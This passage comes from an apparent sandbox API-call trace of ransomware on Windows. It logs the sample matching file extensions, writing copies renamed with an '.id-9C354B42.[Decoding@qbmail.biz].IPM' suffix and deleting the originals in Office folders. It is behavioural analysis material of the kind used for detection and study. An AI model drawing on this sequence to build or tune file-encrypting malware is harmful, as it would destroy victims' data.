shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.805] lstrlenW (lpString=".doc") returned 4 [0078.805] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.805] lstrlenW (lpString=".docx") returned 5 [0078.805] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0078.805] lstrlenW (lpString=".pdf") returned 4 [0078.805] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.805] lstrlenW (lpString=".xls") returned 4 [0078.805] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.805] lstrlenW (lpString=".xlsx") returned 5 [0078.806] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0078.806] lstrlenW (lpString=".ppt") returned 4 [0078.806] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.806] lstrlenW (lpString=".zip") returned 4 [0078.806] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.806] lstrlenW (lpString=".rar") returned 4 [0078.806] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.806] lstrlenW (lpString=".bz2") returned 4 [0078.806] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.806] lstrlenW (lpString=".7z") returned 3 [0078.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.806] lstrlenW (lpString=".dbf") returned 4 [0078.806] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.806] lstrlenW (lpString=".1cd") returned 4 [0078.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.806] lstrlenW (lpString=".jpg") returned 4 [0078.807] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.807] lstrlenW (lpString=".doc") returned 4 [0078.807] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.807] lstrlenW (lpString=".docx") returned 5 [0078.807] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0078.807] lstrlenW (lpString=".pdf") returned 4 [0078.807] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.807] lstrlenW (lpString=".xls") returned 4 [0078.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.807] lstrlenW (lpString=".xlsx") returned 5 [0078.807] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0078.807] lstrlenW (lpString=".ppt") returned 4 [0078.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.808] lstrlenW (lpString=".zip") returned 4 [0078.808] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.808] lstrlenW (lpString=".rar") returned 4 [0078.808] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.808] lstrlenW (lpString=".bz2") returned 4 [0078.808] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.808] lstrlenW (lpString=".7z") returned 3 [0078.808] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.808] lstrlenW (lpString=".dbf") returned 4 [0078.808] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.808] lstrlenW (lpString=".1cd") returned 4 [0078.808] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0078.808] lstrlenW (lpString=".jpg") returned 4 [0078.808] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.809] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.809] lstrlenW (lpString="zh-changjei.xml") returned 15 [0078.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.810] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=9803) returned 1 [0078.810] CloseHandle (hObject=0x1bc) returned 1 [0078.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0078.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0078.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0078.811] lstrlenW (lpString=".doc") returned 4 [0078.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.811] lstrlenW (lpString=".docx") returned 5 [0078.811] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0078.811] lstrlenW (lpString=".pdf") returned 4 [0078.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.811] lstrlenW (lpString=".xls") returned 4 [0078.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.812] lstrlenW (lpString=".xlsx") returned 5 [0078.812] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0078.812] lstrlenW (lpString=".ppt") returned 4 [0078.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0078.812] lstrlenW (lpString=".zip") returned 4 [0078.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.812] lstrlenW (lpString=".rar") returned 4 [0078.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.812] lstrlenW (lpString=".bz2") returned 4 [0078.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.812] lstrlenW (lpString=".7z") returned 3 [0078.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0078.812] lstrlenW (lpString=".dbf") returned 4 [0078.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.377] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.388] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.389] GetLastError () returned 0x0 [0079.389] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x333, lpOverlapped=0x0) returned 1 [0079.404] WriteFile (in: hFile=0x208, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x340, lpOverlapped=0x0) returned 1 [0079.406] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0079.406] WriteFile (in: hFile=0x208, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf4, lpOverlapped=0x0) returned 1 [0079.407] SetEndOfFile (hFile=0x208) returned 1 [0079.407] CloseHandle (hObject=0x208) returned 1 [0079.412] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.412] SetEndOfFile (hFile=0x1ec) returned 1 [0079.414] CloseHandle (hObject=0x1ec) returned 1 [0079.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0079.415] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 1 [0079.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.416] lstrlenW (lpString=".doc") returned 4 [0079.416] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.416] lstrlenW (lpString=".docx") returned 5 [0079.416] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0079.416] lstrlenW (lpString=".pdf") returned 4 [0079.416] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.416] lstrlenW (lpString=".xls") returned 4 [0079.416] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.416] lstrlenW (lpString=".xlsx") returned 5 [0079.416] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0079.416] lstrlenW (lpString=".ppt") returned 4 [0079.416] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.416] lstrlenW (lpString=".zip") returned 4 [0079.416] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.416] lstrlenW (lpString=".rar") returned 4 [0079.417] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.417] lstrlenW (lpString=".bz2") returned 4 [0079.417] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.417] lstrlenW (lpString=".7z") returned 3 [0079.417] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.417] lstrlenW (lpString=".dbf") returned 4 [0079.417] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.417] lstrlenW (lpString=".1cd") returned 4 [0079.417] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.417] lstrlenW (lpString=".jpg") returned 4 [0079.417] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.418] lstrlenW (lpString=".doc") returned 4 [0079.418] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.418] lstrlenW (lpString=".docx") returned 5 [0079.418] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0079.418] lstrlenW (lpString=".pdf") returned 4 [0079.418] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.418] lstrlenW (lpString=".xls") returned 4 [0079.418] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.418] lstrlenW (lpString=".xlsx") returned 5 [0079.418] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0079.418] lstrlenW (lpString=".ppt") returned 4 [0079.418] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.418] lstrlenW (lpString=".zip") returned 4 [0079.418] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.418] lstrlenW (lpString=".rar") returned 4 [0079.418] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.419] lstrlenW (lpString=".bz2") returned 4 [0079.419] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.419] lstrlenW (lpString=".7z") returned 3 [0079.419] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.419] lstrlenW (lpString=".dbf") returned 4 [0079.419] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.419] lstrlenW (lpString=".1cd") returned 4 [0079.420] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0079.420] lstrlenW (lpString=".jpg") returned 4 [0079.420] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.420] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0079.420] lstrlenW (lpString="SETUP.XML") returned 9 [0079.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0079.422] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=2296) returned 1 [0079.422] CloseHandle (hObject=0x1ec) returned 1 [0079.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0079.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0079.422] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.422] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.426] GetLastError () returned 0x0 [0079.427] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x8f8, lpOverlapped=0x0) returned 1 [0079.430] WriteFile (in: hFile=0x208, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x900, lpOverlapped=0x0) returned 1 [0079.432] ReadFile (in: hFile=0x1ec, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0079.432] WriteFile (in: hFile=0x208, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0079.432] SetEndOfFile (hFile=0x208) returned 1 [0079.433] CloseHandle (hObject=0x208) returned 1 [0079.789] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.789] SetEndOfFile (hFile=0x1ec) returned 1 [0079.921] CloseHandle (hObject=0x1ec) returned 1 [0079.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0079.922] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0079.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.923] lstrlenW (lpString=".doc") returned 4 [0079.923] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.923] lstrlenW (lpString=".docx") returned 5 [0079.923] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0079.923] lstrlenW (lpString=".pdf") returned 4 [0079.923] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.923] lstrlenW (lpString=".xls") returned 4 [0079.923] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.923] lstrlenW (lpString=".xlsx") returned 5 [0079.923] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0079.923] lstrlenW (lpString=".ppt") returned 4 [0079.923] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.923] lstrlenW (lpString=".zip") returned 4 [0079.924] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.924] lstrlenW (lpString=".rar") returned 4 [0079.924] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.924] lstrlenW (lpString=".bz2") returned 4 [0079.924] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.924] lstrlenW (lpString=".7z") returned 3 [0079.924] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.924] lstrlenW (lpString=".dbf") returned 4 [0079.924] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.924] lstrlenW (lpString=".1cd") returned 4 [0079.924] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.924] lstrlenW (lpString=".jpg") returned 4 [0079.924] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.924] lstrlenW (lpString=".doc") returned 4 [0079.924] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0079.924] lstrlenW (lpString=".docx") returned 5 [0079.924] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0079.925] lstrlenW (lpString=".pdf") returned 4 [0079.925] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0079.925] lstrlenW (lpString=".xls") returned 4 [0079.925] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0079.925] lstrlenW (lpString=".xlsx") returned 5 [0079.925] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0079.925] lstrlenW (lpString=".ppt") returned 4 [0079.925] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0079.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.925] lstrlenW (lpString=".zip") returned 4 [0079.925] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0079.925] lstrlenW (lpString=".rar") returned 4 [0079.925] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0079.925] lstrlenW (lpString=".bz2") returned 4 [0079.925] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0079.925] lstrlenW (lpString=".7z") returned 3 [0079.925] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0079.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.925] lstrlenW (lpString=".dbf") returned 4 [0079.925] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0079.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.925] lstrlenW (lpString=".1cd") returned 4 [0079.925] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0079.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0079.925] lstrlenW (lpString=".jpg") returned 4 [0079.926] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0079.926] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0079.926] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0079.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0079.927] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1231) returned 1 [0079.927] CloseHandle (hObject=0x1ec) returned 1 [0079.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0079.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft 